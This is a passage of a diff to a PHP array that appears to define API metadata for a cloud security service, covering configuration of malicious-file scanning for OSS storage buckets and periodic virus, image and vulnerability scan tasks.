'检测过的文件数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '100', + ], + 'TotalObject' => [ + 'description' => 'Bucket内总文件数。'."\n" + ."\n" + .'>该参数通过OSS接口GetBucketStat获取。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '100', + ], + 'HighRisk' => [ + 'description' => '高风险文件数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + 'MediumRisk' => [ + 'description' => '中风险文件数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + 'LowRisk' => [ + 'description' => '低风险文件数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + 'Status' => [ + 'description' => '检测状态。取值：'."\n" + ."\n" + .'- **1**：未检测过。'."\n" + .'- **2**：全量检测中。'."\n" + .'- **3**：增量检测中。'."\n" + .'- **4**：检测过。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Support' => [ + 'description' => '是否支持检测。取值：'."\n" + ."\n" + .'- true：支持。'."\n" + .'- false：不支持。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Message' => [ + 'description' => '不支持检测的原因。', + 'type' => 'string', + 'example' => 'Unsupported Region。', + ], + 'StorageClass' => [ + 'description' => 'Bucket的存储类型。 取值：'."\n" + ."\n" + .'- **Standard**：标准存储'."\n" + .'- **IA**：低频访问'."\n" + .'- **Archive**：归档存储'."\n" + .'- **ColdArchive**：冷归档存储', + 'type' => 'string', + 'example' => 'Archive', + ], + 'ConfigStatus' => [ + 'description' => 'Bucket检测配置的开启状态，取值：'."\n" + .'- **0**：表示未配置。'."\n" + .'- **1**：表示已配置已开启。'."\n" + .'- **2**：表示已配置未开启。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'DecompressStatus' => [ + 'description' => 'Bucket解压缩配置的开启状态，取值：'."\n" + ."\n" + .'- **0**：未配置解压。'."\n" + .'- **1**：已配置解压。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"6C578F36-92D2-552C-8AA0-86EB1AC2****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 165\\n },\\n \\"Data\\": [\\n {\\n \\"BucketName\\": \\"hz-new02****\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"LastScanTime\\": 1698388233883,\\n \\"LastScanEndTime\\": 1698388233883,\\n \\"Scanned\\": false,\\n \\"ScanObject\\": 100,\\n \\"TotalObject\\": 100,\\n \\"HighRisk\\": 0,\\n \\"MediumRisk\\": 0,\\n \\"LowRisk\\": 0,\\n \\"Status\\": 1,\\n \\"Support\\": true,\\n \\"Message\\": \\"Unsupported Region。\\",\\n \\"StorageClass\\": \\"Archive\\",\\n \\"ConfigStatus\\": 0,\\n \\"DecompressStatus\\": 0\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询Bucket的风险信息列表', + ], + 'UpdateOssScanConfig' => [ + 'summary' => '恶意文件检测功能下，更新OSS文件检测策略配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '172828', + 'abilityTreeNodes' => [ + 'FEATUREsasNPORLE', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Enable', + 'in' => 'query', + 'schema' => [ + 'description' => '是否启用。取值：'."\n" + .'- **1**：开启'."\n" + .'- **0**：关闭', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + [ + 'name' => 'ScanDayList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '扫描时间，数字表示一周中的第几天。', + 'type' => 'array', + 'items' => [ + 'description' => '扫描时间，数字表示一周中的第几天。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + 'required' => false, + 'maxItems' => 1000, + ], + ], + [ + 'name' => 'BucketNameList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => 'Bucket名称列表。', + 'type' => 'array', + 'items' => [ + 'description' => 'Bucket名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'hz-new02****', + ], + 'required' => false, + 'maxItems' => 1000, + ], + ], + [ + 'name' => 'KeySuffixList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '文件后缀列表。', + 'type' => 'array', + 'items' => [ + 'description' => '限定检测文件的Key必须以指定的后缀结尾。', + 'type' => 'string', + 'required' => false, + 'example' => '.asp', + ], + 'required' => false, + 'maxItems' => 1000, + ], + ], + [ + 'name' => 'StartTime', + 'in' => 'query', + 'schema' => [ + 'description' => '检测开始时间，格式为HH:mm:ss。', + 'type' => 'string', + 'required' => false, + 'example' => '00:00:00'."\n", + ], + ], + [ + 'name' => 'EndTime', + 'in' => 'query', + 'schema' => [ + 'description' => '检测停止时间，格式为HH:mm:ss。', + 'type' => 'string', + 'required' => false, + 'example' => '00:00:01', + ], + ], + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'description' => '配置策略ID。', + 'type' => 'string', + 'required' => false, + 'example' => '1141****', + ], + ], + [ + 'name' => 'KeyPrefixList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '文件前缀列表。', + 'type' => 'array', + 'items' => [ + 'description' => '限定检测文件的 Key 必须以指定的 KeyPrefix 作为前缀，不能以正斜线（/）开头。', + 'type' => 'string', + 'required' => false, + 'example' => '/root', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'Name', + 'in' => 'query', + 'schema' => [ + 'description' => '配置策略名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'testStrategy', + ], + ], + [ + 'name' => 'AllKeyPrefix', + 'in' => 'query', + 'schema' => [ + 'description' => '是否匹配所有文件前缀。', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'DecompressMaxLayer', + 'in' => 'query', + 'schema' => [ + 'description' => '存在多个层级的压缩包嵌套时的最大解压层数，最小取值为1，最大取值为5。超过最大解压层数时，解压操作将直接结束，已解压出文件的检测不受影响。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'DecompressMaxFileCount', + 'in' => 'query', + 'schema' => [ + 'description' => '最大解压文件数。最小取值为1，最大取值为1000。超过最大解压文件数时，解压操作将直接结束，已解压出文件的检测不受影响。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '100', + ], + ], + [ + 'name' => 'DecryptionList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '解密类型列表。', + 'type' => 'array', + 'items' => [ + 'description' => '解密类型。取值：'."\n" + ."\n" + .'- **OSS**：OSS完全托管。'."\n" + .'- **KMS**：KMS。', + 'type' => 'string', + 'required' => false, + 'example' => 'KMS', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'LastModifiedStartTime', + 'in' => 'query', + 'schema' => [ + 'description' => '检测最后一次修改时间在指定时间戳之后的文件，单位毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1724301769834', + ], + ], + [ + 'name' => 'RealTimeIncr', + 'in' => 'query', + 'schema' => [ + 'description' => '是否开启实时增量检测。此参数设置为true时，参数ScanDayList、StartTime、EndTime不生效。', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'FFA14F61-4E2F-54C7-9276-81C60BAC****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"FFA14F61-4E2F-54C7-9276-81C60BAC****\\"\\n}","type":"json"}]', + 'title' => '更新检测策略配置', + ], + 'ListOssBucket' => [ + 'summary' => '查询Bucket列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '172817', + 'abilityTreeNodes' => [ + 'FEATUREsasNPORLE', + ], + ], + 'parameters' => [ + [ + 'name' => 'BucketName', + 'in' => 'query', + 'schema' => [ + 'description' => 'Bucket名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'iboxpublic****', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'en', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '响应消息体。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '3956048F-9D73-5EDB-834B-4827BB48****', + ], + 'Data' => [ + 'description' => '数据详情。', + 'type' => 'array', + 'items' => [ + 'description' => '数据详情。', + 'type' => 'object', + 'properties' => [ + 'BucketName' => [ + 'description' => 'Bucket名称。', + 'type' => 'string', + 'example' => 'iboxpublic****', + ], + 'Support' => [ + 'description' => '是否支持检测。取值：'."\n" + ."\n" + .'- true：支持。'."\n" + .'- false：不支持。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Message' => [ + 'description' => '如果不支持检测，不支持的原因。', + 'type' => 'string', + 'example' => 'Unsupported Region。', + ], + 'StorageClass' => [ + 'description' => 'Bucket的存储类型。 取值：'."\n" + ."\n" + .'- Standard（默认）：标准存储'."\n" + .'- IA：低频访问'."\n" + .'- Archive：归档存储'."\n" + .'- ColdArchive：冷归档存储', + 'type' => 'string', + 'example' => 'Standard', + ], + 'RegionId' => [ + 'description' => '地域ID。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'SupportConfig' => [ + 'description' => '是否支持配置。取值：'."\n" + ."\n" + .'* true：支持'."\n" + .'* false：不支持', + 'type' => 'string', + 'example' => 'true', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3956048F-9D73-5EDB-834B-4827BB48****\\",\\n \\"Data\\": [\\n {\\n \\"BucketName\\": \\"iboxpublic****\\",\\n \\"Support\\": true,\\n \\"Message\\": \\"Unsupported Region。\\",\\n \\"StorageClass\\": \\"Standard\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"SupportConfig\\": \\"true\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询Bucket列表', + ], + 'CreateOssScanConfig' => [ + 'summary' => '恶意文件检测功能下，创建对OSS内恶意文件检测的策略配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '172821', + 'abilityTreeNodes' => [ + 'FEATUREsasNPORLE', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Enable', + 'in' => 'query', + 'schema' => [ + 'description' => '是否启用。取值：'."\n" + .'- **1**：开启'."\n" + .'- **0**：关闭', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'ScanDayList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '扫描时间，数字表示一周中的第几天。', + 'type' => 'array', + 'items' => [ + 'description' => '扫描时间，数字表示一周中的第几天。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + 'required' => false, + 'maxItems' => 1000, + ], + ], + [ + 'name' => 'BucketNameList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => 'Bucket名称列表。', + 'type' => 'array', + 'items' => [ + 'description' => 'Bucket名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'cccarvato-oss****', + ], + 'required' => false, + 'maxItems' => 1000, + ], + ], + [ + 'name' => 'KeySuffixList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '检测的文件后缀列表。', + 'type' => 'array', + 'items' => [ + 'description' => '限定检测文件的Key必须以指定的后缀结尾。', + 'type' => 'string', + 'required' => false, + 'example' => '.asp', + ], + 'required' => false, + 'maxItems' => 1000, + ], + ], + [ + 'name' => 'StartTime', + 'in' => 'query', + 'schema' => [ + 'description' => '检测开始时间，格式为HH:mm:ss。', + 'type' => 'string', + 'required' => false, + 'example' => '00:00:00', + ], + ], + [ + 'name' => 'EndTime', + 'in' => 'query', + 'schema' => [ + 'description' => '检测停止时间，格式为HH:mm:ss。', + 'type' => 'string', + 'required' => false, + 'example' => '01:01:00', + ], + ], + [ + 'name' => 'Name', + 'in' => 'query', + 'schema' => [ + 'description' => '策略名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'testName', + ], + ], + [ + 'name' => 'KeyPrefixList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '文件前缀列表。', + 'type' => 'array', + 'items' => [ + 'description' => '限定检测文件的Key必须以指定的KeyPrefix作为前缀，不能以正斜线（/）开头。', + 'type' => 'string', + 'required' => false, + 'example' => '/root', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'AllKeyPrefix', + 'in' => 'query', + 'schema' => [ + 'description' => '是否匹配所有前缀。此参数设置为true时，参数KeyPrefixList不生效。', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'DecompressMaxLayer', + 'in' => 'query', + 'schema' => [ + 'description' => '存在多个层级的压缩包嵌套时的最大解压层数，最小取值为1，最大取值为5。超过最大解压层数时，解压操作将直接结束，已解压出文件的检测不受影响。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'DecompressMaxFileCount', + 'in' => 'query', + 'schema' => [ + 'description' => '最大解压文件数。最小取值为1，最大取值为1000。超过最大解压文件数时，解压操作将直接结束，已解压出文件的检测不受影响。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '100', + ], + ], + [ + 'name' => 'DecryptionList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '解密类型列表。', + 'type' => 'array', + 'items' => [ + 'description' => '解密类型。取值：'."\n" + ."\n" + .'- **OSS**：OSS完全托管。'."\n" + .'- **KMS**：KMS。', + 'type' => 'string', + 'required' => false, + 'example' => 'KMS', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'LastModifiedStartTime', + 'in' => 'query', + 'schema' => [ + 'description' => '检测最后一次修改时间在指定时间戳之后的文件，单位毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1724301769834', + ], + ], + [ + 'name' => 'RealTimeIncr', + 'in' => 'query', + 'schema' => [ + 'description' => '是否开启实时增量检测。此参数设置为true时，参数ScanDayList、StartTime、EndTime不生效。', + 'type' => 'boolean', + 'required' => false, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '5DFD6277-CC36-57F7-ACE6-F5952123****', + ], + 'Id' => [ + 'description' => '策略ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '210****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"5DFD6277-CC36-57F7-ACE6-F5952123****\\",\\n \\"Id\\": 0\\n}","type":"json"}]', + 'title' => '创建检测策略配置', + ], + 'ListSupportObjectSuffix' => [ + 'summary' => '查询支持的文件类型后缀。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '571B2642-BF51-5BDD-906B-D2340DB9****', + ], + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'array', + 'items' => [ + 'description' => '文件后缀。', + 'type' => 'string', + 'example' => '.asp', + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"571B2642-BF51-5BDD-906B-D2340DB9****\\",\\n \\"Data\\": [\\n \\".asp\\"\\n ]\\n}","type":"json"}]', + 'title' => '查询支持的文件类型后缀', + ], + 'RefreshOssBucketScanInfo' => [ + 'summary' => '刷新Bucket列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'none', + 'abilityTreeCode' => '174757', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'CE290C1F-4B7D-5024-9D2F-E26D7B08****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CE290C1F-4B7D-5024-9D2F-E26D7B08****\\"\\n}","type":"json"}]', + 'title' => '刷新Bucket列表', + ], + 'GetOssScanConfig' => [ + 'summary' => '获取检测策略配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '172831', + 'abilityTreeNodes' => [ + 'FEATUREsasNPORLE', + ], + ], + 'parameters' => [ + [ + 'name' => 'BucketName', + 'in' => 'query', + 'schema' => [ + 'description' => 'Bucket名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'iboxpublic****', + ], + ], + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'description' => '策略ID。', + 'type' => 'string', + 'required' => false, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'E10BAF1C-A6C5-51E2-866C-76D5922E****', + ], + 'Data' => [ + 'description' => '数据详情。', + 'type' => 'object', + 'properties' => [ + 'Enable' => [ + 'description' => '是否启用。取值：'."\n" + .'- **1**：开启'."\n" + .'- **0**：关闭', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'ScanDayList' => [ + 'description' => '扫描时间，数字表示一周中的第几天。', + 'type' => 'array', + 'items' => [ + 'description' => '扫描时间，数字表示一周中的第几天。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + 'BucketNameList' => [ + 'description' => 'Bucket名称列表。', + 'type' => 'array', + 'items' => [ + 'description' => 'Bucket名称。', + 'type' => 'string', + 'example' => 'bcdata-oss****', + ], + ], + 'KeySuffixList' => [ + 'description' => '检测的文件后缀列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检测的文件后缀。', + 'type' => 'string', + 'example' => '.asp', + ], + ], + 'StartTime' => [ + 'description' => '检测开始时间，格式为HH:mm:ss。', + 'type' => 'string', + 'example' => '00:00:00', + ], + 'EndTime' => [ + 'description' => '检测停止时间，格式为HH:mm:ss。', + 'type' => 'string', + 'example' => '00:00:00'."\n", + ], + 'Name' => [ + 'description' => '策略名称。', + 'type' => 'string', + 'example' => 'testPolicy****', + ], + 'KeyPrefixList' => [ + 'description' => '文件前缀列表。', + 'type' => 'array', + 'items' => [ + 'description' => '文件前缀。', + 'type' => 'string', + 'example' => '/root', + ], + ], + 'Id' => [ + 'description' => '策略ID。', + 'type' => 'string', + 'example' => '1', + ], + 'BucketName' => [ + 'description' => 'Bucket名称。', + 'type' => 'string', + 'example' => 'hz-new02****', + ], + 'LastUpdateTime' => [ + 'description' => '最后更新时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1702025633079', + ], + 'BucketCount' => [ + 'description' => 'Bucket个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'AllKeyPrefix' => [ + 'description' => '是否匹配所有前缀。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'DecompressMaxLayer' => [ + 'description' => '存在多个层级的压缩包嵌套时的最大解压层数，最小取值为1，最大取值为5。超过最大解压层数时，解压操作将直接结束，已解压出文件的检测不受影响。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'DecompressMaxFileCount' => [ + 'description' => '最大解压文件数。最小取值为1，最大取值为1000。超过最大解压文件数时，解压操作将直接结束，已解压出文件的检测不受影响。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'DecryptionList' => [ + 'description' => '解密类型列表。', + 'type' => 'array', + 'items' => [ + 'description' => '解密类型。取值：'."\n" + ."\n" + .'- **OSS**：OSS完全托管。'."\n" + .'- **KMS**：KMS。', + 'type' => 'string', + 'example' => 'KMS', + ], + ], + 'LastModifiedStartTime' => [ + 'description' => '检测最后一次修改时间在指定时间戳之后的文件，单位毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1724301769834', + ], + 'RealTimeIncr' => [ + 'description' => '是否开启实时增量检测。此参数设置为true时，参数ScanDayList、StartTime、EndTime不生效。', + 'type' => 'boolean', + 'example' => 'true', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"E10BAF1C-A6C5-51E2-866C-76D5922E****\\",\\n \\"Data\\": {\\n \\"Enable\\": 1,\\n \\"ScanDayList\\": [\\n 1\\n ],\\n \\"BucketNameList\\": [\\n \\"bcdata-oss****\\"\\n ],\\n \\"KeySuffixList\\": [\\n \\".asp\\"\\n ],\\n \\"StartTime\\": \\"00:00:00\\",\\n \\"EndTime\\": \\"00:00:00\\\\n\\",\\n \\"Name\\": \\"testPolicy****\\",\\n \\"KeyPrefixList\\": [\\n \\"/root\\"\\n ],\\n \\"Id\\": \\"1\\",\\n \\"BucketName\\": \\"hz-new02****\\",\\n \\"LastUpdateTime\\": 1702025633079,\\n \\"BucketCount\\": 1,\\n \\"AllKeyPrefix\\": true,\\n \\"DecompressMaxLayer\\": 1,\\n \\"DecompressMaxFileCount\\": 100,\\n \\"DecryptionList\\": [\\n \\"KMS\\"\\n ],\\n \\"LastModifiedStartTime\\": 1724301769834,\\n \\"RealTimeIncr\\": true\\n }\\n}","type":"json"}]', + 'title' => '获取检测策略配置', + ], + 'CreateCycleTask' => [ + 'summary' => '创建周期性扫描任务，包括镜像扫描、应急漏洞扫描及病毒扫描。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasEX82TR', + ], + ], + 'parameters' => [ + [ + 'name' => 'TaskName', + 'in' => 'query', + 'schema' => [ + 'description' => '任务名称。'."\n" + .'- **VIRUS\\_VUL\\_SCHEDULE\\_SCAN**：病毒扫描。'."\n" + .'- **IMAGE_SCAN**：镜像扫描。'."\n" + .'- **EMG\\_VUL\\_SCHEDULE\\_SCAN**：应急漏洞扫描。', + 'type' => 'string', + 'required' => true, + 'enumValueTitles' => [], + 'example' => 'EMG_VUL_SCHEDULE_SCAN', + ], + ], + [ + 'name' => 'TaskType', + 'in' => 'query', + 'schema' => [ + 'description' => '任务类型。'."\n" + .'- **VIRUS\\_VUL\\_SCHEDULE\\_SCAN**：病毒扫描。'."\n" + .'- **IMAGE_SCAN**：镜像扫描。'."\n" + .'- **EMG\\_VUL\\_SCHEDULE\\_SCAN**：应急漏洞扫描。', + 'type' => 'string', + 'required' => true, + 'enumValueTitles' => [], + 'example' => 'VIRUS_VUL_SCHEDULE_SCAN', + ], + ], + [ + 'name' => 'PeriodUnit', + 'in' => 'query', + 'schema' => [ + 'description' => '扫描周期的单位，取值：'."\n" + .'- **day**：天。'."\n" + .'- **hour**：小时。', + 'type' => 'string', + 'required' => true, + 'example' => 'day', + ], + ], + [ + 'name' => 'IntervalPeriod', + 'in' => 'query', + 'schema' => [ + 'description' => '间隔周期。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '7', + ], + ], + [ + 'name' => 'FirstDateStr', + 'in' => 'query', + 'schema' => [ + 'description' => '首次执行时间。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '1650556800000', + ], + ], + [ + 'name' => 'TargetStartTime', + 'in' => 'query', + 'schema' => [ + 'description' => '任务开始时间（小时）。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '0', + ], + ], + [ + 'name' => 'TargetEndTime', + 'in' => 'query', + 'schema' => [ + 'description' => '任务结束时间（小时）。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '6', + ], + ], + [ + 'name' => 'Param', + 'in' => 'query', + 'schema' => [ + 'description' => '扩展信息字段。', + 'type' => 'string', + 'required' => false, + 'example' => '{'."\n" + .' "targetInfo": ['."\n" + .' {'."\n" + .' "type": "groupId",'."\n" + .' "name": "TI HOST",'."\n" + .' "target": 10597***'."\n" + .' },'."\n" + .' {'."\n" + .' "type": "groupId",'."\n" + .' "name": "expense HOST",'."\n" + .' "target": 10597***'."\n" + .' }'."\n" + .' ]'."\n" + .'}', + ], + ], + [ + 'name' => 'Enable', + 'in' => 'query', + 'schema' => [ + 'description' => '是否启用。取值：'."\n" + .'- **1**：开启'."\n" + .'- **0**：关闭', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'Source', + 'in' => 'query', + 'schema' => [ + 'description' => '增加任务的来源。', + 'type' => 'string', + 'required' => false, + 'example' => 'console_batch', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '86CFF42E-E00A-57A3-8656-22291EFB****', + ], + 'ConfigId' => [ + 'description' => '配置对应的ID。', + 'type' => 'string', + 'example' => '00cfa8161da093089e6804ba6a33****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + [ + 